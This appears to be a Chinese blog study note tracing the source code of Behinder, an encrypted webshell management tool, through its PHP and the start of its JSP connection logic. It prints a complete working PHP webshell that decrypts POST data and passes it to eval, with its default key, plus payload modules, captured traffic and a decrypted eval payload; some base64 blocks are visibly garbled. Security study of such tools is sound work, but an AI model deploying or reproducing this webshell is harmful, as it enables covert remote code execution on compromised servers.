


# S-behinder源码学习

## PHP类型


## 入口

- `net.rebeyond.behinder.ui.controller.MainController.java`




`openShell()` 打开一个shell，会创建一个新的线程去管理这个shell，下一步是进入到新的线程当中`mainWindowController`

- `net.rebeyond.behinder.ui.controller.MainWindowController.java`



这里就是获取一个正常shell的连接，重要的是执行这个 `this.doConnect()` 方法。而这个方法最后指向的是 `this.currentShellService.doConnect()`，继续跟进。


- `net.rebeyond.behinder.core.shellService.java`



```
1 package net.rebeyond.behinder.core;
2
3 import ...
4
23 public class ShellService {
24     public String currentUrl;    currentUrl: "http://127.0.0.1/shell.php"
25     public String currentPassword;    currentPassword: "rebeyond"
26     public String currentKey;    //currentKey null    currentKey: null
27     public String currentType;    //shell 类型 php asp aspx jsp    currentType: "php"
28     public Map currentHeaders;    currentHeaders: HashMap@4116
29     public int encryptType;    encryptType: 0
30     public int beginIndex;    beginIndex: 0
31     public int endIndex;    endIndex: 0
32     public JSONObject shellEntity;    shellEntity: JSONObject@4087
33     public static int BUFSIZE = 4096;
34     public static Map currentProxy;
35
36
186 public boolean doConnect() throws Exception {
187     boolean result = false;
188     this.currentKey = Utils.getKey(this.currentPassword);    // 获取加密密钥
189
190     String content;
191     try {
192         int randStringLength;
193         JSONObject obj;
194         if (this.currentType.equals("php")) {
195             try {
196                 randStringLength = (new SecureRandom()).nextInt( bound: 3000);
197                 content = Utils.getRandomString(randStringLength);    // 应该是用于生成随机字符串
198                 obj = this.echo(content);
199                 if (obj.getString( key: "msg").equals(content)) {
200                     result = true;
201                 }
202             } catch (Exception var11) {
203                 this.encryptType = Constants.ENCRYPT_TYPE_XOR;
204             }
205             try {
206                 randStringLength = (new SecureRandom()).nextInt( bound: 3000);
207                 content = Utils.getRandomString(randStringLength);
208                 obj = this.echo(content);
209                 if (obj.getString( key: "msg").equals(content)) {
210                     result = true;
211                 }
212             }
```


这里需要关注两个地方就是一些变量表示的含义，之后会频繁用到。第二个就是这个 `this.echo(content)` 方法。此处会根据我们shell类型的不同进入不同的连接处理逻辑，此处以 PHP 为例，就首先进入到 `this.currentType.equals('php')`，首先是生成一个随机字符串 `content`，然后进入 `this.echo()` 方法。

- net.rebeyond.behinder.core.shellService.java#echo



此处的两个关键方法是 `Utils.getData()` 和 `Utils.requestAndParse()`。其中这个 `getData` 是用于处理功能模板的，继续跟踪深入。注意传递的参数


- net.rebeyond.behinder.utils.Utils.java#getData



最后这个函数来到了 `net.rebeyond.behinder.utils.Utils.java#getData`，此处还是先看一下传递的参数，然后就是根据不同的shell类型选择处理逻辑，此处还是首先选择 `php`。此处，首先是传递的 `className=echo`，然后调用 `Param.getParamedPhp` 方法去获取参数列表。

- net.rebeyond.behinder.core.Params.java#getParamedPhp

```
148 @ public static byte[] getParamedPhp(String clsName, Map params) throws Exception { clsName: "Echo" params: LinkedHashMap@4119
149 String basePath = "net/rebeyond/behinder/payload/php/"; basePath: "net/rebeyond/behinder/payload/php/"
150 String payloadPath = basePath + clsName + ".php"; clsName: "Echo" basePath: "net/rebeyond/behinder/payload/php/" payloadPath:
151 StringBuilder code = new StringBuilder(); code: StringBuilder@4124
152 ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath)); // 读取文件内容为二进制文件 payloadPath:
153 ByteArrayOutputStream bos = new ByteArrayOutputStream(); bos: ByteArrayOutputStream@4131
154
155 int b; b: -1
156 while(-1 != (b = bis.read())) {
157     bos.write(b); b: -1
158 }
159
160 bis.close(); bis: ByteArrayInputStream@4130
161 code.append(bos.toString()); // 将读取的文件内容放入缓冲区 code: StringBuilder@4124 bos: ByteArrayOutputStream@4131
162 String paraList = "";
163 Iterator var9 = getPhpParams(code.toString()).iterator();
164
165 while(var9.hasNext()) {
```



此处有一个路径寻找的过程，这个路径是事先规定好的。根据我们传递的 `className=echo`，去找到 `Echo.php` 这个文件，然后将文件读取放入缓冲区 `StringBuilder` 里面，然后调用 `getPhpParams()` 方法。

- net.rebeyond.behinder.core.Params.java#getPhpParams

```

183 @ public static List getPhpParams(String phpPayload) { //获取main方法的参数  phpPayload: "@error_reporting(0);\r\nfunction main($content)
184     List paramList = new ArrayList();  paramList: "[content]"
185     Pattern mainPattern = Pattern.compile("main\\s+\\s*\\s*\\s*");  mainPattern: Pattern@4138
186     Matcher mainMatch = mainPattern.matcher(phpPayload);  phpPayload: "@error_reporting(0);\r\nfunction main($content)\r\n{\r\n\t
187     if (mainMatch.find()) {
188         String mainStr = mainMatch.group(0);  mainMatch: Matcher@4139
189         Pattern paramPattern = Pattern.compile("\\$([a-zA-Z]*)");
190         Matcher paramMatch = paramPattern.matcher(mainStr);
191
192         while(paramMatch.find()) {
193             paramList.add(paramMatch.group(1));
194         }
195     }
196
197     return paramList;  paramList: "[content]"
198 }
199
200 @ public static byte[] getParamedAsp(String className, Map params) throws Exception {

```

Variables

- > phpPayload = "@error\_reporting(0);\r\nfunction main(\$content)\r\n{\r\n\t\$result = array();\r\n\t\$result["status"] = base64\_encode("success"...
- > paramList = (ArrayList@4137) "[content]"
- > mainPattern = (Pattern@4138) ... toString()
- > mainMatch = (Matcher@4139) ... toString()

```

1  @error_reporting(0);
2  function main($content)
3  {
4      $result = array();
5      $result["status"] = base64_encode("success");
6      $result["msg"] = base64_encode($content);
7      $key = $_SESSION['k'];
8      echo encrypt(json_encode($result), $key);
9  }
10
11 function encrypt($data, $key)
12 {
13     if(!extension_loaded('openssl'))
14     {
15         for($i=0; $i<strlen($data); $i++) {
16             $data[$i] = $data[$i]^$key[$i%15];
17         }
18         return $data;
19     }
20     else
21     {

```

这个 `getPhpParams` 方法是真正用来获取参数列表，通过正则表达式，之后返回 `Echo.php` 这个文件中 `main` 函数的参数列表。

- ```
function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
    {
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i&15];
        }
        return $data;
    }
    else
    {
        return openssl_encrypt($data, "AES128", $key);
    }
}

$content = "ZW1ReksyZkL40DVBSU1aR2VBbEM3WLRPMjFXTGfUGzrZ2VKTLRxT2xWRZljdEN4cGxrSGI0RVFuY1FyYnJ0cGVVRUG6S...";
$content = base64_decode($content);
main($content);
```

- 程序返回到 `getData` 方法，继续执行后面的逻辑

```

620     } else if (type.equals("php")) { //php马 type: "php"
621         //className= echo
622         bincls = Params.getParamPhp(className, params); //获取到执行的参数,并且填充数据 className: "Echo" params: LinkedHashMap
623         bincls = Base64.encode(bincls).getBytes(); bincls: [64, 101, 114, 114, 111, 114, 95, 114, 101, 112, +4,226 mote]
624         bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'))").getBytes();
625         if (extraData != null && !false) {
626             bincls = CipherUtils.mergeByteArray(bincls, extraData);
627         }
628
629         encryptedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
630         return Base64.encode(encryptedBincls).getBytes();

```

```
net.rebeyond.behinder.core.shellService.java#echo
```

- ```

347 @ public static Map requestAndParse(String urlPath, Map header, byte[] data, int beginIndex, int endIndex) throws Exception {
348     Map resultObj = sendPostRequestBinary(urlPath, header, data);    urlPath: "http://127.0.0.1/shell.php"    header: HashMap@4116
349     byte[] resData = (byte[])((byte[])resultObj.get("data"));    resData: [73, 111, 82, 78, 51, 82, 77, 98, 88, 120, +193,294 more]
350     if ((beginIndex != 0 || endIndex != 0) && resData.length - endIndex >= beginIndex) {
351         resData = Arrays.copyOfRange(resData, beginIndex, to: resData.length - endIndex);    beginIndex: 0    endIndex: 0
352     }
353
354     resultObj.put("data", resData);    resData: [73, 111, 82, 78, 51, 82, 77, 98, 88, 120, +193,294 more]
355     return resultObj;    resultObj: HashMap@4803
356 }
357
358 @ public static Map sendPostRequestBinary(String urlPath, Map header, byte[] data) throws Exception {
359     Map result = new HashMap();

```

这个方法是用于发送请求的，然后将响应分装到 `map` 当中并且返回。`data` 是响应数据，`header` 是响应头信息。

## 请求流量与shell执行过程

- 首先查看webshell的内容

```
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
    $t="base64_". "decode";
    $post=$t($post."");

    for($i=0;$i<strlen($post);$i++) {
        $post[$i] = $post[$i]^$key[$i+1&15];
    }
}
else
{
    $post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
```

- Echo.php

```
@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
    {
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];
        }
        return $data;
    }
    else
```

```
{  
    return openssl_encrypt($data, "AES128", $key);  
}
```

- echo 请求产生的流量



3Mn1yNMtoZViV5wotQHPJtwwj0F4b2lyToNk7LfdUnN7zmyQFfx/zaigwUhg+8S1XZemCLBkDlVxiBiG  
d6bgOEiZtNpn6YmnWiaCBNbXkC5JWFTARrD8lCOCQ4ZVFjsJFDaAOWzinbqne/oYuNwwjQvKM9ii2RE  
/b+Gc+ya2f4+OIDU2Wk/QSIL7GOAoyaUYZSq4bL2wmX5RnPlLbf7S+Tay3K7JPruBiZeZGC/ay14vUj4  
+IgmNHWEAzWl3DNISL1yhH4Do5FI8HwZpG5XnrZwpkDfIEgN4GKmcDODTd02pj8DVXCwes3m+v/wRyKv  
d++xsex2EkGn9p0SgL+GpxlGg60lQscedjdgbXv15UyPfJude5BJv+j7CEf7zpdtyAnFYCSqIRX+XD7D  
NsIUvbu+oamjVwZCgr4L+bbRvs1NfjV6iKks65VTnlSiBcARjv/w+axR9Gc7Jt9v/GBKckbRjefZGqx7  
UTKDMahYEBgrwpXrii28q/UerEq/VKFKKeHQuovmpvlx8Cb1MBkG+rHmhQrP7QVJuzSOUBwdWZpbhys2  
bufqT6hyOjsu/0sSmHdzvlZgkRsnsNK0Kv56sesEx9AiWuvvgXmH5gAi86uAfHQISOEU5jZNs/TOLiJk  
sv6xddHsDokSwx+2s74jinnFh9p0AmUdDlOxxvRrfJvCdFaThnkDEOH6BcsyZj9r53ZKiQUHPH7Sd13x  
/bk7zcKrUubSp1f5cFLc+7m2nSwkxM1Ei7GvkZKBvkoroWwkuS0katSgEt3WN00g95HydFGdxzyUithJ  
9hIETiP81067weGqjFraZfXQUuOHnibydsrZtj/1La60qSShoAVnghH9TbYZM4lDdppsZJ1j5ewx8Cvn  
+E8LeCyeR0LhKix+P9yJh72FbLoomFvCurzarkbYZrmQ7Qb0R1oot2rKNFxy8/itqOSzdk/d2lFkZeT8  
sbzLmdMQBdSvp/wlvhRdgk9IVKTBdar5kZzny6hSe1YHVjdib08kmf1N+XwgkPI4qBLgbdZIFa1D4bwx  
mMr9eysZ8ZWkUSCH1mtY4H5Febfx2G+gKnP6hu0azti7Gdz8DGwdgy81nDBAnuu9i6EpXDLoAot8NBPs  
YKyBRAOE9usevqwlERX7fDybsw6ZqOoNBuofZuEZ09ZYfskbM6Anwp0YgLTpQ7UaCfuqymC2k4YIS5W  
czL+Qkm+8REP6zJkigdC5m2BPRI2L1lvokhgT1CkCmf7sZS/v/ixyOSZNaVjGvHcy2MuQqLH5rc8QlVJ  
Y7+/grj2vpNTIDsjEObu7ThdWare+FWVWwvy6wswynF6jfuJ+phGCqj0wfpu8kyfcPlctWIX03XXS8+x  
L72uXVOS7j5MvnsHQGT8+n8WbnmOQIRPmN6DJArcU6VYd+RG6AmiE2Qv19Chmyv+LQihZ9gzC7BZ8fh  
Teme2xRUjjNLKXP4iyAZI+M+iZN2aaYrf54Eixfzj6z5ImqjXY/m9bpylbevs1D4CTmxqbrDMFEYrZCS  
uOI0ouYljssrjguJgsQfGhzwfjI99VormVw3a+y1WJ9yOP/tLIit/1DTThmGiLk3Hp2MNJ3lu1PtDI5D  
4Mt7acyVw2Cssy9G+LUFVDCfcilpwxZI+zPvd0tJd9piDprehre/243KDFyTOB3ehrjdaFmuMZDRsSd  
ax4Knt+P52qwziVOYfWxWR660k6q2Bdt+rh5lW3wlyGrDjerPggL7SB/PejiiuCzeIinpr7y9RnncQBa  
+zPhav3/EdAlySeV9jv6zuHO4J3LWkb83COTR7m86jtte0egwQzM70L/fghoiwdqJCCHma6vbmAYegwj  
1/XaZdAhtc0Vp5dubEittNsnPCg0zswIte1I6erfDRrm+kiLlcsY9ReyLqa5Lk32Lbo5LdAMwhykmuFs  
NZ2007/4jItorOjX4ixXeCyKqb7Shx/XuY+XjChLV6K/9xQk+Zew/kcmuIfwdu5Q3gemS68SPjC8ix/M  
ZIT294UmoOw2s04qLZIZ5UH93Nym2KF+7+pkw8SYLqWBN3Wk3gR7Q90TzurwuyjRxmum14jYIfKoturw  
wwiYDHi+QGeIGVh8zMwJnkHUo8jQG1Y4GztToF3HlRRyMnXILVS8ujMNTpmYxhCDU7rElxxpA0MaJQbd  
CxxNe+okMFHxhwfwy2WT7rYd5bCKpv1A/Omk5yavJu0lYUEBjz/PTTSGAX4lLot6x1nbskUxA2c7ql2G  
FwxOSD9nuHoIOiPIoqCL12bZ1C9GGCUHMcBYLb421sn5sqQ+5rDxR/wyfeKSwdY+m8MzXsXsz/7U6fTa  
68r4KAhzBv8TigHyv1bwEb9Dh/Ii55Tl0Yl+ifehkUSXPkZreh+VtdFdbwOomiMP4j18m/UaphMZoiZU  
wrWkaXCzgwdRRMprekXxCVgnsy6TaEc1IcL305wqv+jobvfHlJHmJCJ/PbkfiwZfhnB5lH8tx0014nMa  
Q7lRGo/TkTVEe1YLKY12OIyQwXANFDng3EESax5cNccAufzFUJJPbwHZQ/lN0sDDBQeTwj1w3Y+zoZq4  
taZ/2Q6dPN6xQjnIC7ymDA5FjKNMvmst7b1IB4BjdQt1pFSgecg1DEBIizpRTyGvQiC/op6/ZYKUC277  
sdf8NdHxf6EeE90lesC/v8bnZiH5J1JRAhwzI5WDSrKL45AbeH/KKaTc6ErWCYF8Bde1xVpsNqysmtwV  
1EjZPi1qvXa6jy3ezkSkviYLrmtoxzHmdIRWvyMu8roKsv7C5hpNu0msAPt8FRwMyEcnsUjs6AQ20f4  
430V5Qdst9Pl3IrQuFSR7fN6LQ19vOo2iudJwth+3k/c8J34nlcQ+ZsIk8g=

流量解密：

```
assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTSnCMz1bmN0aw9uIG1haw4oJGNvb
nRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCK7DQoJJHJlc3VsdFsic3RhdHVzI10gPSBiYXNlNjRfZ
w5jb2RlKCJzdWnjZXNzIik7DQogICAgJHJlc3VsdFsic3RhdHVzI10gPSBiYXNlNjRfZW5jb2RlKCRjb250Z
w50KTSnCiAgICAKa2V5ID0gJF9TRVNTSU90WydrJ107DQogICAgZWNoYB1bmNyexB0KGpzb25fZW5jb
2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdw5jdGlvbiB1bmNyexB0KCRkYXRhLCRrZXkpDQp7DQoJa
WYoIWV4dGVuc2lvb19sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c
3RybGVuKCRkYXRhKTSkaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpK
zEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXRlcm4gJGRhdGE7DQogICAgCX0NCiAgICB1bHNlDQogICAgC
XsNCiAgICAJCXJldHvybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGESICJBRVMxMjg1LCAka2V5KTSnCiAgI
CAJfQ0KfSRjb250ZW50PSJZV1l3V2xweFJFTkpvbmh0VG1oSmRWZEtZVmRyU0RSamFVNvpibkpvUwtwa
VFUukNTa1Z3VFZWwJFNW5lR1JUVEdFd1psQnFwbW8wZGtGV2ViBHZlREJSTmtaM1VsaHNOMUZSY1dwv
k5tcEtUMWR3ZWtnd2FwW1VREJSTBTB4eFZYTnVXSfZHTwtwblNsQ1NiMU0yZGpOTlRISlZNM3BtVvHGT
FFwCEZNVkZzUTNsRlFtb3pkbFpETVVKMWR6ZfhSbGh1Tkdst2RWWXpsbvpjVEVGRWVITk1ZakZZukhWN
mIwxk9UMUE0V1RKWlREUmtUa05wYw1KbFMwRTFzbXhYEV0WFRHbGtNVE5VDFBefJsr1NVVEJ3VmtkT
1MwMXZvak54YzBkc1pIChphenN6UTFZMlFVNDdTSEJ5VXpScmRUUnVaMHBLVYcxMlNIRkRUBvZuYTNSM
k4zQkhiREpVum5ScwFscGpVvz1RukRaSU0yZ3lWRWhLVdNnd1QyOXpsBEZXV1vj2d2VXwKRTamhKTTJwb
FJuwXpUSGRStjBKS1NrcG9hRVZ2UVU1Uk9HcFdNR2REYjNRM1VIZExRMkZ5ZFhaa1dUSk9VRvpLWvhwd
WRuceJjRlkyTjJre1NqskNOBVY0U1VZeGJ6QmpnMFZLYkhKRlRwbFpNRXRoTVZGTFUywn1jvFV6YkZWS
U1uUm1SbGhPV0hobk5ree9TbmhDU2xwcFFVwjFTakY2ww5CMU9YZGx0aze0Y2psbvJvcDFiRGxUV1cxM
VZHRjFisFowZWxkdE1qsJJlSEUwYm5KV01sVnVva3czwjJas1lXNVhUa0Y1U210c1NuTjZURzu2WkZKb
mVuZzBXWEJ2Y0ZwVfPsbE9WRGgwVkhQ1ExazJXV3BCWm5WagVvNw91bEpsWVvVNVRHVjNjVmcwTW5RN
GNtUktjamxNT0dNMmNXTjVUWGhouTNGVU1rNVlZMGhTZwpCS2JGazBOa1U0Y1d0WGRtoHduakZYZG01c
U1uSkxPV0pFYmpwUVNHCEVNVmHMTjJGTmREWxhRVFJSVjFoQ1JFRkx1VTF5ZGxNeu5qRktTbGxHVG1se
GNUUKZXVwswY0ZonmN6vjJVM1JYZG14bWNVrjBRVGxGUWprNGIzQnRWVnBaTkRkv2NWCHZObGx6TWtWT
1lSZGxXbmRvUjIxb1FtRlpsV1kxTTNkYVRIQ1FabXAZZHpwB05FVnhXbwXrUm1KV05WQXhRVkk0Y0hGN
k4ys1JubVztZEdOU01EunBTbXBFwWxZeu4weFNhr1EzTldor2JFNDFtbFpJYm1nd1FnPT0iOyRjb250Z
w50PWJhc2U2NF9kZWNVZGUoJGNvbRlbnQpOw0KbWpFbikgY29udGVudCk7'));
```

- 经过shell.php的处理，最后的执行逻辑应该是这样的

```
<?php
```

```

$post =
"assert|eval(base64_decode('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'))";
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];

class C
{
    public function __invoke($p)
    {
        eval($p . "");
    }
}

@call_user_func(new C(), $params);
?>

```

在这里使用了魔术方法 `__invoke`，PHP 的对象不能被当成 `call_user_func` 的回调函数使用，会触发 `__invoke` 魔术方法。那最后这个执行就相当于

```
eval(eval(base64_decode('QGvyck7...')));
```

- 里面 `base64` 解码后的内容

```

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result), $key);
}

```

```

}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
    {
        for($i=0;$i<strlen($data);$i++) {
            $data[$i] = $data[$i]^$key[$i+1&15];
        }
        return $data;
    }
    else
    {
        return openssl_encrypt($data, "AES128", $key);
    }
}

```


```

$content="YVYwWlpxRENJUnhtTmhJdvdKYVdrSDRjau5ZbnJoQkpiQnRCSkVwTVVZbE5neGRTTGEWZl
BqVmo0dkFweHlveDBRNkZ2U1hsN1F1bwpVNmpKT1dweKMwaVYyUDBRy0xxvXNuWHVGMkpnS1BSb1M2dj
NNTHJVM3pmUXFLQVpFMVFsQ3lFQmozdlZDMud1dzdXR1huNGROdVYzRmZITEFEeHNIYjFYRHV6b1ZOT1
A4WTJZTDRkTknPamJlS0E1YmxXdEtXTG1kMTNoT1AxRlFSUTBwVkdOS01vUjNxc0drZHpzazczQ1Y2QU
40SHByUzRrdTRUZ0pKaw12SHFDtmVna3l2N3BhBDJURnRqa1pjUw9QRDZIM2gyVEhKT3gWT29zRlFWWU
cwewZDSjhJM2p1RnyZTHd1N0JKSkpoaEVVQU5ROGpWmGdDb3Q3UhdLQ2FydXZkWTJOUeZKYXpudnpBcF
Y2N2kzSjJCNmV4RUyxbzBjM0VKbHJFTVlZMEthMVFLU2ZycTUzbFVIMnRmR1howHhnnKxOSnhCSlppQU
Z1SjF6YnB1OXdlNk14cj1mRup1bd1Tww11VGf1bHZ0e1dtmJj2eHE0bnJWM1vuUkw3Z2ZjYW5XTkF5Sm
trSnN6TG56ZFJneng0WXBvcFpTZ1lOVDh0VHZBQ1k2WwpBZnvheu5oe1JlYUo5TGV3cvG0MnQ4cmRKcj
1MOGM2cWN5TXhhQ3FUMk5YY0hsejBkbFkONku4bwtXdm8wtjFXdm5qMnJLOWJebjVQSGpEMVhLN2FNdD
YxQTRRV1hCREFLeu1ydlMyNjFKS1lGTm1xcTRFWuk0cFh6czV2U3RXdmxmcUF0QTlFQjk4b3BtVvpZND
dwcVpvN1lzmKvNY1dlWondR21nQmFZRWY1M3daTHBQZmp3dzVONEVxwm1kRmJWNVAXQVI4CHF6N2JRTm
VmdGNSMDRpSmpeY1Yn0xSaFQ3NwhGbE41S1ZibmgwQg==";
$content=base64_decode($content);
main($content);

```

分析到这里，基本已经知道PHP类型shell的执行流程了，而且此处我们其实可以自己将一些代码替换，那就可以实现自己想添加或者修改的功能了。

- 最后再来看一下获取基础信息的 BasicInfo.php



```

1  error_reporting(0);
2  function main($whatever) {
3      ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
4      $driveList = "";
5      if (strpos(PHP_OS,"windows")||strpos(PHP_OS,"winnt"))
6      {
7          for($i=65;$i<=90;$i++)
8          {
9              $drive=chr($i).':/';
10             file_exists($drive) ? $driveList=$driveList.$drive.";":"";
11         }
12     }
13     else
14     {
15         $driveList="/";
16     }
17     $currentPath=getcwd();
18     //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
19     $osInfo=PHP_OS;
20     $arch="64";
21     if (PHP_INT_SIZE == 4) {
22         $arch = "32";
23     }
24     $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath)
25     //echo iconv_encode($result,"");

```

## java类型

# 入口

跳过前面的连接函数，直接进入 jsp 的 echo 方法。

```
217     } else {
218     try {
219         if (this.currentType.equals("asp")) { currentType: "jsp"
220             this.encryptType = Constants.ENCRIPT_TYPE_XOR; encryptType: 0
221         }
222
223         randStringLength = (new SecureRandom()).nextInt( bound: 3000);
224         content = Utils.getRandomString(randStringLength); randStringLength: 1941
225         obj = this.echo(content); content: "9q4Uf6EpdtdAqLMju9s0Sw4zzjFnDcQk0iYBQjunUxHr64VrLQWdZ7cEE3XhkDC3ds3j80YsVQALzmvcuIe.
226         if (obj.getString( key: "msg").equals(content)) {
227             result = true;
228         }
229     } catch (Exception var9) {
230         throw var9;
231     }
232 }
233
234 public JSONObject echo(String content) throws Exception { content: "CY7bW35pi8TXboxWvPrBLmKGQqWWia0PwHfE4W2kLTZimLiyo0ZE3Gv6JPz6z
1153 Map params = new LinkedHashMap(); params: LinkedHashMap@4123
1154 params.put("content", content); content: "CY7bW35pi8TXboxWvPrBLmKGQqWWia0PwHfE4W2kLTZimLiyo0ZE3Gv6JPz6z7v3Xl6jSSbKByWKDvcQ2w8f
1155 byte[] data = Utils.getData(this.currentKey, this.encryptType, className: "Echo", params, this.currentType); params: LinkedHashMap
1156 Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
1157 Map responseHeader = (Map)resultObj.get("header");
1158 Iterator var6 = responseHeader.keySet().iterator();
1159
1160 while(var6.hasNext()) {
1161     String headerName = (String)var6.next();
1162     if (headerName != null && headerName.equalsIgnoreCase( anotherString: "Set-Cookie")) {
1163         String cookieValue = (String)responseHeader.get(headerName);
1164         Map cookieMap = (Map)cookieValue.get("cookieMap");
1165     }
1166 }
```

- 之后同样进入到 utils.getData() 方法

```
608 @ public static byte[] getData(String key, int encryptType, String className, Map params, String type, byte[] extraData) throws Exception
609     byte[] bincls;
610     byte[] encryptedBincls;
611     if (type.equals("jsp")) { type: "jsp"
612         bincls = Params.getParamedClass(className, params); className: "Echo" params: LinkedHashMap@4123
613         if (extraData != null & true) {
614             bincls = CipherUtils.mergeByteArray(bincls, extraData);
615         }
616
617         encryptedBincls = Crypt.Encrypt(bincls, key);
618         String basedEncryBincls = Base64.encode(encryptedBincls);
619         return basedEncryBincls.getBytes();
620     } else if (type.equals("php")) { //php 码
621         //className= echo
622         bincls = Params.getParamedPhp(className, params); // 获取到执行的参数，并且填充数据
623         bincls = Base64.encode(bincls).getBytes();
624     }
625 }
```

Variables

- > static members of Utils
- > key = "e45e329feb5d925b"
- > encryptType = 0
- > className = "Echo"
- > params = (LinkedHashMap@4123) ... toString()
- > type = "jsp"
- > extraData = null

注意观察这个参数传递，和进入的方法，此处是 Param.getParamedClass()

- Utils.getParamedClass()

```
20 public class Params {
21     public static byte[] getParamedClass(String clsName, final Map params) throws Exception { clsName: "Echo" params: LinkedHashMap@4123
22         String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", clsName); clsName: "Echo"
23         ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", clsName));
24         ClassWriter cw = new ClassWriter( 1);
25         classReader.accept(new ClassAdapter(cw) {
26             public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
27                 if (params.containsKey(filedName)) {
